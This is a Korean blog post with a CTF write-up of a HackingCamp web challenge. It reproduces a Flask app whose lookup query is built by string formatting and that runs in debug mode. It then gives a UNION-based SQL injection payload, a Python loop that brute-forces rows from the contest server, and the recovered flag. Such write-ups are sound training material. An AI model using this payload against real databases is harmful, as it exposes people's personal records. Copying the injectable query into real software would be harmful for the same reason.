24th HackingCamp CTF 합격자발표 [WEB]

조승현·2022년 2월 21일
0

#! /usr/bin/env python3
#-*- coding: utf-8 -*-

from flask import Flask, render_template
from flask import request, redirect, url_for

from functools import wraps
import os, json

from db import query

server = Flask(__name__)
server.secret_key = os.urandom(32)

@server.route('/')
def main():
    return render_template('index.html')


@server.route('/lookup', methods=['POST'])
def lookup():
    name = request.form.get("name")
    birth = request.form.get("birth")
    
    # db has name, phone, candidate_no, birth, is_passed
    if not (name and birth):
        return render_template('result.html', result=None)

    result = query('SELECT * FROM prob where name="{}" and birth="{}"'.format(name, birth))
    return render_template('result.html', result=result)

if __name__ == '__main__':
    server.run(host='0.0.0.0', debug=True)


코드와 같이 주어진 문제다. 사람의 정보를 조회하는 것 같다. 친절하게도 column값이 주어졌다.
'name, phone, candidate_no, birth, is_passed' select문이 있는데 딱 봐도 너무 허술하다. 또 취약한 부분은 debug=True로 설정되어있는 것이다. debug 비밀번호를 따내서 debug를 뚫을 수 있는 방법이 있다. 후자는 아무래도 난이도가 좀 있다보니 전자를 일단 해보자.

"를 이용해서 일단 sql injection이 되는것을 알 수 있었고 아쉽게도 group_concat은 먹히지 않는다. 그리고 1개의 row만 출력되는것 같아서 limit을 이용해서 여러개 넣어보았다. name=1, birth=1" union select * from prob limit 5,6# 를 넘겨주니

뭔가 값들을 다 뒤져보면 될거 같아서 페이로드를 작성해 브루트포스를 했다.

for i in range (1000):
    url = 'http://ctf-hackingcamp.com:44001/lookup'
    data ={}
    data['name']='1'
    data['birth']='1" union select * from prob limit {},{}# '.format(str(i),str(i+1))
    res = requests.post(url=url, data=data)
    
    if 'HCAMP' in res.text:
        print(res.text)
<tr>
<td>이름</td><td>HCAMP{5D46BCE881C8E9EAAA547453D4E15A21}</td>
</tr>

solved 쉬운문제였다.

뭔가 사고력을 요하는 문제는 없는것 같다... blind injection이라든지...

profile
Inha University / CTF Web Player / Team Riot of Noob

0개의 댓글